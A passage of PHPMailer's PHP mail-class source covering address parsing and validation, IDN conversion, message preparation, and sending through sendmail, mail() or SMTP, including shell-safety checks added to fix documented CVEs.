                if (!array_key_exists($address, $this->ReplyToQueue)) {
                    $this->ReplyToQueue[$address] = $params;
                    return true;
                }
            }
            return false;
        }
        // Immediately add standard addresses without IDN.
        return call_user_func_array(array($this, 'addAnAddress'), $params);
    }

    /**
     * Add an address to one of the recipient arrays or to the ReplyTo array.
     * Addresses that have been added already return false, but do not throw exceptions.
     * @param string $kind One of 'to', 'cc', 'bcc', or 'ReplyTo'
     * @param string $address The email address to send, resp. to reply to
     * @param string $name
     * @throws phpmailerException
     * @return boolean true on success, false if address already used or invalid in some way
     * @access protected
     */
    protected function addAnAddress($kind, $address, $name = '')
    {
        if (!in_array($kind, array('to', 'cc', 'bcc', 'Reply-To'))) {
            $error_message = $this->lang('Invalid recipient kind: ') . $kind;
            $this->setError($error_message);
            $this->edebug($error_message);
            if ($this->exceptions) {
                throw new phpmailerException($error_message);
            }
            return false;
        }
        if (!$this->validateAddress($address)) {
            $error_message = $this->lang('invalid_address') . " (addAnAddress $kind): $address";
            $this->setError($error_message);
            $this->edebug($error_message);
            if ($this->exceptions) {
                throw new phpmailerException($error_message);
            }
            return false;
        }
        if ($kind != 'Reply-To') {
            if (!array_key_exists(strtolower($address), $this->all_recipients)) {
                array_push($this->$kind, array($address, $name));
                $this->all_recipients[strtolower($address)] = true;
                return true;
            }
        } else {
            if (!array_key_exists(strtolower($address), $this->ReplyTo)) {
                $this->ReplyTo[strtolower($address)] = array($address, $name);
                return true;
            }
        }
        return false;
    }

    /**
     * Parse and validate a string containing one or more RFC822-style comma-separated email addresses
     * of the form "display name <address>" into an array of name/address pairs.
     * Uses the imap_rfc822_parse_adrlist function if the IMAP extension is available.
     * Note that quotes in the name part are removed.
     * @param string $addrstr The address list string
     * @param bool $useimap Whether to use the IMAP extension to parse the list
     * @return array
     * @link http://www.andrew.cmu.edu/user/agreen1/testing/mrbs/web/Mail/RFC822.php A more careful implementation
     */
    public function parseAddresses($addrstr, $useimap = true)
    {
        $addresses = array();
        if ($useimap and function_exists('imap_rfc822_parse_adrlist')) {
            //Use this built-in parser if it's available
            $list = imap_rfc822_parse_adrlist($addrstr, '');
            foreach ($list as $address) {
                if ($address->host != '.SYNTAX-ERROR.') {
                    if ($this->validateAddress($address->mailbox . '@' . $address->host)) {
                        $addresses[] = array(
                            'name' => (property_exists($address, 'personal') ? $address->personal : ''),
                            'address' => $address->mailbox . '@' . $address->host
                        );
                    }
                }
            }
        } else {
            //Use this simpler parser
            $list = explode(',', $addrstr);
            foreach ($list as $address) {
                $address = trim($address);
                //Is there a separate name part?
                if (strpos($address, '<') === false) {
                    //No separate name, just use the whole thing
                    if ($this->validateAddress($address)) {
                        $addresses[] = array(
                            'name' => '',
                            'address' => $address
                        );
                    }
                } else {
                    list($name, $email) = explode('<', $address);
                    $email = trim(str_replace('>', '', $email));
                    if ($this->validateAddress($email)) {
                        $addresses[] = array(
                            'name' => trim(str_replace(array('"', "'"), '', $name)),
                            'address' => $email
                        );
                    }
                }
            }
        }
        return $addresses;
    }

    /**
     * Sets message type to HTML or plain.
     * @param boolean $isHtml True for HTML mode.
     * @return void
     */
    public function isHTML($isHtml = true)
    {
        if ($isHtml) {
            $this->ContentType = 'text/html';
        } 
        else {
            $this->ContentType = 'text/plain';
        }

    }

    /**
     * Set the From and FromName properties.
     * @param string $address
     * @param string $name
     * @param boolean $auto Whether to also set the Sender address, defaults to true
     * @throws phpmailerException
     * @return boolean
     */
    public function setFrom($address, $name = '', $auto = true)
    {
        $address = trim($address);
        $name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim
        // Don't validate now addresses with IDN. Will be done in send().
        if (($pos = strrpos($address, '@')) === false or
            (!$this->has8bitChars(substr($address, ++$pos)) or !$this->idnSupported()) and
            !$this->validateAddress($address)) {
            $error_message = $this->lang('invalid_address') . " (setFrom) $address";
            $this->setError($error_message);
            $this->edebug($error_message);
            if ($this->exceptions) {
                throw new phpmailerException($error_message);
            }
            return false;
        }
        $this->From = $address;
        $this->FromName = $name;
        if ($auto) {
            if (empty($this->Sender)) {
                $this->Sender = $address;
            }
        }
        return true;
    }

    /**
     * Return the Message-ID header of the last email.
     * Technically this is the value from the last time the headers were created,
     * but it's also the message ID of the last sent message except in
     * pathological cases.
     * @return string
     */
    public function getLastMessageID()
    {
        return $this->lastMessageID;
    }

    /**
     * Check that a string looks like an email address.
     * @param string $address The email address to check
     * @param string|callable $patternselect A selector for the validation pattern to use :
     * * `auto` Pick best pattern automatically;
     * * `pcre8` Use the squiloople.com pattern, requires PCRE > 8.0, PHP >= 5.3.2, 5.2.14;
     * * `pcre` Use old PCRE implementation;
     * * `php` Use PHP built-in FILTER_VALIDATE_EMAIL;
     * * `html5` Use the pattern given by the HTML5 spec for 'email' type form input elements.
     * * `noregex` Don't use a regex: super fast, really dumb.
     * Alternatively you may pass in a callable to inject your own validator, for example:
     * PHPMailer::validateAddress('user@example.com', function($address) {
     *     return (strpos($address, '@') !== false);
     * });
     * You can also set the PHPMailer::$validator static to a callable, allowing built-in methods to use your validator.
     * @return boolean
     * @static
     * @access public
     */
    public static function validateAddress($address, $patternselect = null)
    {
        if (is_null($patternselect)) {
            $patternselect = self::$validator;
        }
        if (is_callable($patternselect)) {
            return call_user_func($patternselect, $address);
        }
        //Reject line breaks in addresses; it's valid RFC5322, but not RFC5321
        if (strpos($address, "\n") !== false or strpos($address, "\r") !== false) {
            return false;
        }
        if (!$patternselect or $patternselect == 'auto') {
            //Check this constant first so it works when extension_loaded() is disabled by safe mode
            //Constant was added in PHP 5.2.4
            if (defined('PCRE_VERSION')) {
                //This pattern can get stuck in a recursive loop in PCRE <= 8.0.2
                if (version_compare(PCRE_VERSION, '8.0.3') >= 0) {
                    $patternselect = 'pcre8';
                } else {
                    $patternselect = 'pcre';
                }
            } elseif (function_exists('extension_loaded') and extension_loaded('pcre')) {
                //Fall back to older PCRE
                $patternselect = 'pcre';
            } else {
                //Filter_var appeared in PHP 5.2.0 and does not require the PCRE extension
                if (version_compare(PHP_VERSION, '5.2.0') >= 0) {
                    $patternselect = 'php';
                } else {
                    $patternselect = 'noregex';
                }
            }
        }
        switch ($patternselect) {
            case 'pcre8':
                /**
                 * Uses the same RFC5322 regex on which FILTER_VALIDATE_EMAIL is based, but allows dotless domains.
                 * @link http://squiloople.com/2009/12/20/email-address-validation/
                 * @copyright 2009-2010 Michael Rushton
                 * Feel free to use and redistribute this code. But please keep this copyright notice.
                 */
                return (boolean)preg_match(
                    '/^(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){255,})(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){65,}@)' .
                    '((?>(?>(?>((?>(?>(?>\x0D\x0A)?[\t ])+|(?>[\t ]*\x0D\x0A)?[\t ]+)?)(\((?>(?2)' .
                    '(?>[\x01-\x08\x0B\x0C\x0E-\'*-\[\]-\x7F]|\\\[\x00-\x7F]|(?3)))*(?2)\)))+(?2))|(?2))?)' .
                    '([!#-\'*+\/-9=?^-~-]+|"(?>(?2)(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\x7F]))*' .
                    '(?2)")(?>(?1)\.(?1)(?4))*(?1)@(?!(?1)[a-z0-9-]{64,})(?1)(?>([a-z0-9](?>[a-z0-9-]*[a-z0-9])?)' .
                    '(?>(?1)\.(?!(?1)[a-z0-9-]{64,})(?1)(?5)){0,126}|\[(?:(?>IPv6:(?>([a-f0-9]{1,4})(?>:(?6)){7}' .
                    '|(?!(?:.*[a-f0-9][:\]]){8,})((?6)(?>:(?6)){0,6})?::(?7)?))|(?>(?>IPv6:(?>(?6)(?>:(?6)){5}:' .
                    '|(?!(?:.*[a-f0-9]:){6,})(?8)?::(?>((?6)(?>:(?6)){0,4}):)?))?(25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
                    '|[1-9]?[0-9])(?>\.(?9)){3}))\])(?1)$/isD',
                    $address
                );
            case 'pcre':
                //An older regex that doesn't need a recent PCRE
                return (boolean)preg_match(
                    '/^(?!(?>"?(?>\\\[ -~]|[^"])"?){255,})(?!(?>"?(?>\\\[ -~]|[^"])"?){65,}@)(?>' .
                    '[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*")' .
                    '(?>\.(?>[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*"))*' .
                    '@(?>(?![a-z0-9-]{64,})(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)(?>\.(?![a-z0-9-]{64,})' .
                    '(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)){0,126}|\[(?:(?>IPv6:(?>(?>[a-f0-9]{1,4})(?>:' .
                    '[a-f0-9]{1,4}){7}|(?!(?:.*[a-f0-9][:\]]){8,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?' .
                    '::(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?))|(?>(?>IPv6:(?>[a-f0-9]{1,4}(?>:' .
                    '[a-f0-9]{1,4}){5}:|(?!(?:.*[a-f0-9]:){6,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4})?' .
                    '::(?>(?:[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4}):)?))?(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
                    '|[1-9]?[0-9])(?>\.(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}|[1-9]?[0-9])){3}))\])$/isD',
                    $address
                );
            case 'html5':
                /**
                 * This is the pattern used in the HTML5 spec for validation of 'email' type form input elements.
                 * @link http://www.whatwg.org/specs/web-apps/current-work/#e-mail-state-(type=email)
                 */
                return (boolean)preg_match(
                    '/^[a-zA-Z0-9.!#$%&\'*+\/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}' .
                    '[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/sD',
                    $address
                );
            case 'noregex':
                //No PCRE! Do something _very_ approximate!
                //Check the address is 3 chars or longer and contains an @ that's not the first or last char
                return (strlen($address) >= 3
                    and strpos($address, '@') >= 1
                    and strpos($address, '@') != strlen($address) - 1);
            case 'php':
            default:
                return (boolean)filter_var($address, FILTER_VALIDATE_EMAIL);
        }
    }

    /**
     * Tells whether IDNs (Internationalized Domain Names) are supported or not. This requires the
     * "intl" and "mbstring" PHP extensions.
     * @return bool "true" if required functions for IDN support are present
     */
    public function idnSupported()
    {
        // @TODO: Write our own "idn_to_ascii" function for PHP <= 5.2.
        return function_exists('idn_to_ascii') and function_exists('mb_convert_encoding');
    }

    /**
     * Converts IDN in given email address to its ASCII form, also known as punycode, if possible.
     * Important: Address must be passed in same encoding as currently set in PHPMailer::$CharSet.
     * This function silently returns unmodified address if:
     * - No conversion is necessary (i.e. domain name is not an IDN, or is already in ASCII form)
     * - Conversion to punycode is impossible (e.g. required PHP functions are not available)
     *   or fails for any reason (e.g. domain has characters not allowed in an IDN)
     * @see PHPMailer::$CharSet
     * @param string $address The email address to convert
     * @return string The encoded address in ASCII form
     */
    public function punyencodeAddress($address)
    {
        // Verify we have required functions, CharSet, and at-sign.
        if ($this->idnSupported() and
            !empty($this->CharSet) and
            ($pos = strrpos($address, '@')) !== false) {
            $domain = substr($address, ++$pos);
            // Verify CharSet string is a valid one, and domain properly encoded in this CharSet.
            if ($this->has8bitChars($domain) and @mb_check_encoding($domain, $this->CharSet)) {
                $domain = mb_convert_encoding($domain, 'UTF-8', $this->CharSet);
                if (($punycode = defined('INTL_IDNA_VARIANT_UTS46') ?
                    idn_to_ascii($domain, 0, INTL_IDNA_VARIANT_UTS46) :
                    idn_to_ascii($domain)) !== false) {
                    return substr($address, 0, $pos) . $punycode;
                }
            }
        }
        return $address;
    }

    /**
     * Create a message and send it.
     * Uses the sending method specified by $Mailer.
     * @throws phpmailerException
     * @return boolean false on error - See the ErrorInfo property for details of the error.
     */
    public function send()
    {
        try {
            if (!$this->preSend()) {
                return false;
            }
            return $this->postSend();
        } catch (phpmailerException $exc) {
            $this->mailHeader = '';
            $this->setError($exc->getMessage());
            if ($this->exceptions) {
                throw $exc;
            }
            return false;
        }
    }

    /**
     * Prepare a message for sending.
     * @throws phpmailerException
     * @return boolean
     */
    public function preSend()
    {
        try {
            $this->error_count = 0; // Reset errors
            $this->mailHeader = '';

            // Dequeue recipient and Reply-To addresses with IDN
            foreach (array_merge($this->RecipientsQueue, $this->ReplyToQueue) as $params) {
                $params[1] = $this->punyencodeAddress($params[1]);
                call_user_func_array(array($this, 'addAnAddress'), $params);
            }
            if ((count($this->to) + count($this->cc) + count($this->bcc)) < 1) {
                throw new phpmailerException($this->lang('provide_address'), self::STOP_CRITICAL);
            }

            // Validate From, Sender, and ConfirmReadingTo addresses
            foreach (array('From', 'Sender', 'ConfirmReadingTo') as $address_kind) {
                $this->$address_kind = trim($this->$address_kind);
                if (empty($this->$address_kind)) {
                    continue;
                }
                $this->$address_kind = $this->punyencodeAddress($this->$address_kind);
                if (!$this->validateAddress($this->$address_kind)) {
                    $error_message = $this->lang('invalid_address') . ' (punyEncode) ' . $this->$address_kind;
                    $this->setError($error_message);
                    $this->edebug($error_message);
                    if ($this->exceptions) {
                        throw new phpmailerException($error_message);
                    }
                    return false;
                }
            }

            // Set whether the message is multipart/alternative
            if ($this->alternativeExists()) {
                $this->ContentType = 'multipart/alternative';
            }

            $this->setMessageType();
            // Refuse to send an empty message unless we are specifically allowing it
            if (!$this->AllowEmpty and empty($this->Body)) {
                throw new phpmailerException($this->lang('empty_message'), self::STOP_CRITICAL);
            }

            // Create body before headers in case body makes changes to headers (e.g. altering transfer encoding)
            $this->MIMEHeader = '';
            $this->MIMEBody = $this->createBody();
            // createBody may have added some headers, so retain them
            $tempheaders = $this->MIMEHeader;
            $this->MIMEHeader = $this->createHeader();
            $this->MIMEHeader .= $tempheaders;

            // To capture the complete message when using mail(), create
            // an extra header list which createHeader() doesn't fold in
            if ($this->Mailer == 'mail') {
                if (count($this->to) > 0) {
                    $this->mailHeader .= $this->addrAppend('To', $this->to);
                } else {
                    $this->mailHeader .= $this->headerLine('To', 'undisclosed-recipients:;');
                }
                $this->mailHeader .= $this->headerLine(
                    'Subject',
                    $this->encodeHeader($this->secureHeader(trim($this->Subject)))
                );
            }

            // Sign with DKIM if enabled
            if (!empty($this->DKIM_domain)
                and !empty($this->DKIM_selector)
                and (!empty($this->DKIM_private_string)
                    or (!empty($this->DKIM_private)
                        and self::isPermittedPath($this->DKIM_private)
                        and file_exists($this->DKIM_private)
                    )
                )
            ) {
                $header_dkim = $this->DKIM_Add(
                    $this->MIMEHeader . $this->mailHeader,
                    $this->encodeHeader($this->secureHeader($this->Subject)),
                    $this->MIMEBody
                );
                $this->MIMEHeader = rtrim($this->MIMEHeader, "\r\n ") . self::CRLF .
                    str_replace("\r\n", "\n", $header_dkim) . self::CRLF;
            }
            return true;
        } catch (phpmailerException $exc) {
            $this->setError($exc->getMessage());
            if ($this->exceptions) {
                throw $exc;
            }
            return false;
        }
    }

    /**
     * Actually send a message.
     * Send the email via the selected mechanism
     * @throws phpmailerException
     * @return boolean
     */
    public function postSend()
    {
        try {
            // Choose the mailer and send through it
            switch ($this->Mailer) {
                case 'sendmail':
                case 'qmail':
                    return $this->sendmailSend($this->MIMEHeader, $this->MIMEBody);
                case 'smtp':
                    return $this->smtpSend($this->MIMEHeader, $this->MIMEBody);
                case 'mail':
                    return $this->mailSend($this->MIMEHeader, $this->MIMEBody);
                default:
                    $sendMethod = $this->Mailer.'Send';
                    if (method_exists($this, $sendMethod)) {
                        return $this->$sendMethod($this->MIMEHeader, $this->MIMEBody);
                    }

                    return $this->mailSend($this->MIMEHeader, $this->MIMEBody);
            }
        } catch (phpmailerException $exc) {
            $this->setError($exc->getMessage());
            $this->edebug($exc->getMessage());
            if ($this->exceptions) {
                throw $exc;
            }
        }
        return false;
    }

    /**
     * Send mail using the $Sendmail program.
     * @param string $header The message headers
     * @param string $body The message body
     * @see PHPMailer::$Sendmail
     * @throws phpmailerException
     * @access protected
     * @return boolean
     */
    protected function sendmailSend($header, $body)
    {
        // CVE-2016-10033, CVE-2016-10045: Don't pass -f if characters will be escaped.
        if (!empty($this->Sender) and self::isShellSafe($this->Sender)) {
            if ($this->Mailer == 'qmail') {
                $sendmailFmt = '%s -f%s';
            } else {
                $sendmailFmt = '%s -oi -f%s -t';
            }
        } else {
            if ($this->Mailer == 'qmail') {
                $sendmailFmt = '%s';
            } else {
                $sendmailFmt = '%s -oi -t';
            }
        }

        // TODO: If possible, this should be changed to escapeshellarg.  Needs thorough testing.
        $sendmail = sprintf($sendmailFmt, escapeshellcmd($this->Sendmail), $this->Sender);

        if ($this->SingleTo) {
            foreach ($this->SingleToArray as $toAddr) {
                if (!@$mail = popen($sendmail, 'w')) {
                    throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
                }
                fputs($mail, 'To: ' . $toAddr . "\n");
                fputs($mail, $header);
                fputs($mail, $body);
                $result = pclose($mail);
                $this->doCallback(
                    ($result == 0),
                    array($toAddr),
                    $this->cc,
                    $this->bcc,
                    $this->Subject,
                    $body,
                    $this->From
                );
                if ($result != 0) {
                    throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
                }
            }
        } else {
            if (!@$mail = popen($sendmail, 'w')) {
                throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
            }
            fputs($mail, $header);
            fputs($mail, $body);
            $result = pclose($mail);
            $this->doCallback(
                ($result == 0),
                $this->to,
                $this->cc,
                $this->bcc,
                $this->Subject,
                $body,
                $this->From
            );
            if ($result != 0) {
                throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
            }
        }
        return true;
    }

    /**
     * Fix CVE-2016-10033 and CVE-2016-10045 by disallowing potentially unsafe shell characters.
     *
     * Note that escapeshellarg and escapeshellcmd are inadequate for our purposes, especially on Windows.
     * @param string $string The string to be validated
     * @see https://github.com/PHPMailer/PHPMailer/issues/924 CVE-2016-10045 bug report
     * @access protected
     * @return boolean
     */
    protected static function isShellSafe($string)
    {
        // Future-proof
        if (escapeshellcmd($string) !== $string
            or !in_array(escapeshellarg($string), array("'$string'", "\"$string\""))
        ) {
            return false;
        }

        $length = strlen($string);

        for ($i = 0; $i < $length; $i++) {
            $c = $string[$i];

            // All other characters have a special meaning in at least one common shell, including = and +.
            // Full stop (.) has a special meaning in cmd.exe, but its impact should be negligible here.
            // Note that this does permit non-Latin alphanumeric characters based on the current locale.
            if (!ctype_alnum($c) && strpos('@_-.', $c) === false) {
                return false;
            }
        }

        return true;
    }

    /**
     * Check whether a file path is of a permitted type.
     * Used to reject URLs and phar files from functions that access local file paths,
     * such as addAttachment.
     * @param string $path A relative or absolute path to a file.
     * @return bool
     */
    protected static function isPermittedPath($path)
    {
        return !preg_match('#^[a-z]+://#i', $path);
    }

    /**
     * Send mail using the PHP mail() function.
     * @param string $header The message headers
     * @param string $body The message body
     * @link http://www.php.net/manual/en/book.mail.php
     * @throws phpmailerException
     * @access protected
     * @return boolean
     */
    protected function mailSend($header, $body)
    {
        $toArr = array();
        foreach ($this->to as $toaddr) {
            $toArr[] = $this->addrFormat($toaddr);
        }
        $to = implode(', ', $toArr);

        $params = null;
        //This sets the SMTP envelope sender which gets turned into a return-path header by the receiver
        if (!empty($this->Sender) and $this->validateAddress($this->Sender)) {
            // CVE-2016-10033, CVE-2016-10045: Don't pass -f if characters will be escaped.
            if (self::isShellSafe($this->Sender)) {
                $params = sprintf('-f%s', $this->Sender);
            }
        }
        if (!empty($this->Sender) and !ini_get('safe_mode') and $this->validateAddress($this->Sender)) {
            $old_from = ini_get('sendmail_from');
            ini_set('sendmail_from', $this->Sender);
        }
        $result = false;
        if ($this->SingleTo and count($toArr) > 1) {
            foreach ($toArr as $toAddr) {
                $result = $this->mailPassthru($toAddr, $this->Subject, $body, $header, $params);
                $this->doCallback($result, array($toAddr), $this->cc, $this->bcc, $this->Subject, $body, $this->From);
            }
        } else {
            $result = $this->mailPassthru($to, $this->Subject, $body, $header, $params);
            $this->doCallback($result, $this->to, $this->cc, $this->bcc, $this->Subject, $body, $this->From);
        }
        if (isset($old_from)) {
            ini_set('sendmail_from', $old_from);
        }
        if (!$result) {
            throw new phpmailerException($this->lang('instantiate'), self::STOP_CRITICAL);
        }
        return true;
    }

    /**
     * Get an instance to use for SMTP operations.
     * Override this function to load your own SMTP implementation
     * @return SMTP
     */
    public function getSMTPInstance()
    {
        if (!is_object($this->smtp)) {
            $this->smtp = new SMTP;
        }
        return $this->smtp;
    }

    /**
     * Send mail via SMTP.
     * Returns false if there is a bad MAIL FROM, RCPT, or DATA input.
     * Uses the PHPMailerSMTP class by default.
     * @see PHPMailer::getSMTPInstance() to use a different class.
     * @param string $header The message headers
     * @param string $body The message body
     * @throws phpmailerException
     * @uses SMTP
     * @access protected
     * @return boolean
     */
    protected function smtpSend($header, $body)
    {
        $bad_rcpt = array();
        if (!$this->smtpConnect($this->SMTPOptions)) {
            throw new phpmailerException($this->lang('smtp_connect_failed'), self::STOP_CRITICAL);
        }
        if (!empty($this->Sender) and $this->validateAddress($this->Sender)) {
            $smtp_from = $this->Sender;
        } else {
            $smtp_from = $this->From;
        }
        if (!$this->smtp->mail($smtp_from)) {
            $this->setError($this->lang('from_failed') . $smtp_from . ' : ' . implode(',', $this->smtp->getError()));
            throw new phpmailerException($this->ErrorInfo, self::STOP_CRITICAL);
        }

        // Attempt to send to all recipients
        foreach (array($this->to, $this->cc, $this->bcc) as $togroup) {
            foreach ($togroup as $to) {
                if (!$this->smtp->recipient($to[0])) {
                    $error = $this->smtp->getError();
                    $bad_rcpt[] = array('to' => $to[0], 'error' => $error['detail']);
                    $isSent = false;
                } else {
                    $isSent = true;
                }
                $this->doCallback($isSent, array($to[0]), array(), array(), $this->Subject, $body, $this->From);
            }
        }

        // Only send the DATA command if we have viable recipients
        if ((count($this->all_recipients) > count($bad_rcpt)) and !$this->smtp->data($header . $body)) {
            throw new phpmailerException($this->lang('data_not_accepted'), self::STOP_CRITICAL);
        }
        if ($this->SMTPKeepAlive) {
            $this->smtp->reset();
        } else {
            $this->smtp->quit();
            $this->smtp->close();
        }
        //Create error message for any bad addresses
        if (count($bad_rcpt) > 0) {
            $errstr = '';
            foreach ($bad_rcpt as $bad) {
                $errstr .= $bad['to'] . ': ' . $bad['error'];
            }
            throw new phpmailerException(
                $this->lang('recipients_failed') . $errstr,
                self::STOP_CONTINUE
            );
        }
        return true;
    }

    /**
     * Initiate a connection to an SMTP server.
     * Returns false if the operation failed.
     * @param array $options An array of options compatible with stream_context_create()
     * @uses SMTP
     * @access public
     * @throws phpmailerException
     * @return boolean
     */
    public function smtpConnect($options = null)
    {
        if (is_null($this->smtp)) {
            $this->smtp = $this->getSMTPInstance();
        }

        //If no options are provided, use whatever is set in the instance
        if (is_null($options)) {
            $options = $this->SMTPOptions;
        }

        // Already connected?
        if ($this->smtp->connected()) {
            return true;
        }

        $this->smtp->setTimeout($this->Timeout);
        $this->smtp->setDebugLevel($this->SMTPDebug);
        $this->smtp->setDebugOutput($this->Debugoutput);
        $this->smtp->setVerp($this->do_verp);
        $hosts = explode(';', $this->Host);
        $lastexception = null;

        foreach ($hosts as $hostentry) {
            $hostinfo = array();
            if (!preg_match(
                '/^((ssl|tls):\/\/)*([a-zA-Z0-9\.-]*|\[[a-fA-F0-9:]+\]):?([0-9]*)$/',
                trim($hostentry),
                $hostinfo
            )) {
                // Not a valid host entry
                $this->edebug('Ignoring invalid host: ' . $hostentry);
                continue;
            }
            // $hostinfo[2]: optional ssl or tls prefix
            // $hostinfo[3]: the hostname
            // $hostinfo[4]: optional port number
            // The host string prefix can temporarily override the current setting for SMTPSecure
            // If it's not specified, the default value is used
            $prefix = '';
            $secure = $this->SMTPSecure;
            $tls = ($this->SMTPSecure == 'tls');
            if ('ssl' == $hostinfo[2] or ('' == $hostinfo[2] and 'ssl' == $this->SMTPSecure)) {
                $prefix = 'ssl://';
                $tls = false; // Can't have SSL and TLS at the same time
                $secure = 'ssl';
            } elseif ($hostinfo[2] == 'tls') {
                $tls = true;
                // tls doesn't use a prefix
                $secure = 'tls';
            }
            //Do we need the OpenSSL extension?
            $sslext = defined('OPENSSL_ALGO_SHA1');
            if ('tls' === $secure or 'ssl' === $secure) {
                //Check for an OpenSSL constant rather than using extension_loaded, which is sometimes disabled
                if (!$sslext) {
                    throw new phpmailerException($this->lang('extension_missing').'openssl', self::STOP_CRITICAL);
                }
            }
            $host = $hostinfo[3];
            $port = $this->Port;
            $tport = (integer)$hostinfo[4];
            if ($tport > 0 and $tport < 65536) {
                $port = $tport;
            }
            if ($this->smtp->connect($prefix . $host, $port, $this->Timeout, $options)) {
                try {
                    if ($this->Helo) {
                        $hello = $this->Helo;
                    } else {
                        $hello = $this->serverHostname();
                    }
                    $this->smtp->hello($hello);
                    //Automatically enable TLS encryption if:
                    // * it's not disabled
                    // * we have openssl extension
                    // * we are not already using SSL
                    // * the server offers STARTTLS
                    if ($this->SMTPAutoTLS and $sslext and $secure != 'ssl' and $this->smtp->getServerExt('STARTTLS')) {
                        $tls = true;
                    }
                    if ($tls) {
                        if (!$this->smtp->startTLS()) {
                            throw new phpmailerException($this->lang('connect_host'));
                        }
                        // We must resend EHLO after TLS negotiation
                        $this->smtp->hello($hello);
                    }
                    if ($this->SMTPAuth) {
                        if (!$this->smtp->authenticate(
                            $this->Username,
                            $this->Password,
                            $this->AuthType,
                            $this->Realm,
                            $this->Workstation
                        )
                        ) {
                            throw new phpmailerException($this->lang('authenticate'));
                        }
                    }
                    return true;
                } catch (phpmailerException $exc) {
                    $lastexception = $exc;
                    $this->edebug($exc->getMessage());
                    // We must have connected, but then failed TLS or Auth, so close connection nicely
                    $this->smtp->quit();
                }
            }
        }
        // If we get here, all connection attempts have failed, so close connection hard
        $this->smtp->close();
        // As we've caught all exceptions, just report whatever the last one was
        if ($this->exceptions and !is_null($lastexception)) {
            throw $lastexception;
        }
        return false;
    }

    /**
     * Close the active SMTP session if one exists.
     * @return void
     */
    public function smtpClose()
    {
        if (is_a($this->smtp, 'SMTP')) {
            if ($this->smtp->connected()) {
                $this->smtp->quit();
                $this->smtp->close();
            }
        }
    }

    /**
     * Set the language for error messages.
     * Returns false if it cannot load the language file.
     * The default language is English.
     * @param string $langcode ISO 639-1 2-character language code (e.g. French is "fr")
     * @param string $lang_path Path to the language file directory, with trailing separator (slash)
     * @return boolean
     * @access public
     */
    public function setLanguage($langcode = 'en', $lang_path = '')
    {
        // Backwards compatibility for renamed language codes
        $renamed_langcodes = array(
            'br' => 'pt_br',
            'cz' => 'cs',
            'dk' => 'da',
            'no' => 'nb',
            'se' => 'sv',
            'sr' => 'rs'
        );

        if (isset($renamed_langcodes[$langcode])) {
            $langcode = $renamed_langcodes[$langcode];
        }

        // Define full set of translatable strings in English
        $PHPMAILER_LANG = array(
            'authenticate' => 'SMTP Error: Could not authenticate.',
            'connect_host' => 'SMTP Error: Could not connect to SMTP host.',
            'data_not_accepted' => 'SMTP Error: data not accepted.',
            'empty_message' => 'Message body empty',
            'encoding' => 'Unknown encoding: ',
            'execute' => 'Could not execute: ',
            'file_access' => 'Could not access file: ',
            'file_open' => 'File Error: Could not open file: ',
            'from_failed' => 'The following From address failed: ',
            'instantiate' => 'Could not instantiate mail function.',
            'invalid_address' => 'Invalid address: ',
            'mailer_not_supported' => ' mailer is not supported.',
            'provide_address' => 'You must provide at least one recipient email address.',
            'recipients_failed' => 'SMTP Error: The following recipients failed: ',
            'signing' => 'Signing Error: ',
            'smtp_connect_failed' => 'SMTP connect() failed.',
            'smtp_error' => 'SMTP server error: ',
            'variable_set' => 'Cannot set or reset variable: ',
            'extension_missing' => 'Extension missing: '
        );
        if (empty($lang_path)) {
            // Calculate an absolute path so it can work if CWD is not here
            $lang_path = dirname(__FILE__). DIRECTORY_SEPARATOR . 'language'. DIRECTORY_SEPARATOR;
        }
        //Validate $langcode
        if (!preg_match('/^[a-z]{2}(?:_[a-zA-Z]{2})?$/', $langcode)) {
            $langcode = 'en';
        }
        $foundlang = true;
        $lang_file = $lang_path . 'phpmailer.lang-' . $langcode . '.php';
        // There is no English translation file
        if ($langcode != 'en') {
            // Make sure language file path is readable
            if (!self::isPermittedPath($lang_file) or !is_readable($lang_file)) {
                $foundlang = false;
            } else {
                // Overwrite language-specific strings.
                // This way we'll never have missing translation keys.
                $foundlang = include $lang_file;
            }
        }
        $this->language = $PHPMAILER_LANG;
        return (boolean)$foundlang; // Returns false if language not found
    }

    /**
     * Get the array of strings for the current language.
     * @return array
     */
    public function getTranslations()
    {
        return $this->language;
    }

    /**
     * Create recipient headers.
     * @access public
     * @param string $type
     * @param array $addr An array of recipient,
     * where each recipient is a 2-element indexed array with element 0 containing an address
     * and element 1 containing a name, like:
     * array(array('joe@example.com', 'Joe User'), array('zoe@example.com', 'Zoe User'))
     * @return string
     */
    public function addrAppend($type, $addr)
    {
        $addresses = array();
        foreach ($addr as $address) {
            $addresses[] = $this->addrFormat($address);
        }
        return $type . ': ' . implode(', ', $addresses) . $this->LE;
    }

    /**
     * Format an address for use in a message header.
     * @access public
     * @param array $addr A 2-element indexed array, element 0 containing an address, element 1 containing a name
     *      like array('joe@example.com', 'Joe User')
     * @return string
     */
    public function addrFormat($addr)
    {
        if (empty($addr[1])) { // No name provided
            return $this->secureHeader($addr[0]);
        } else {
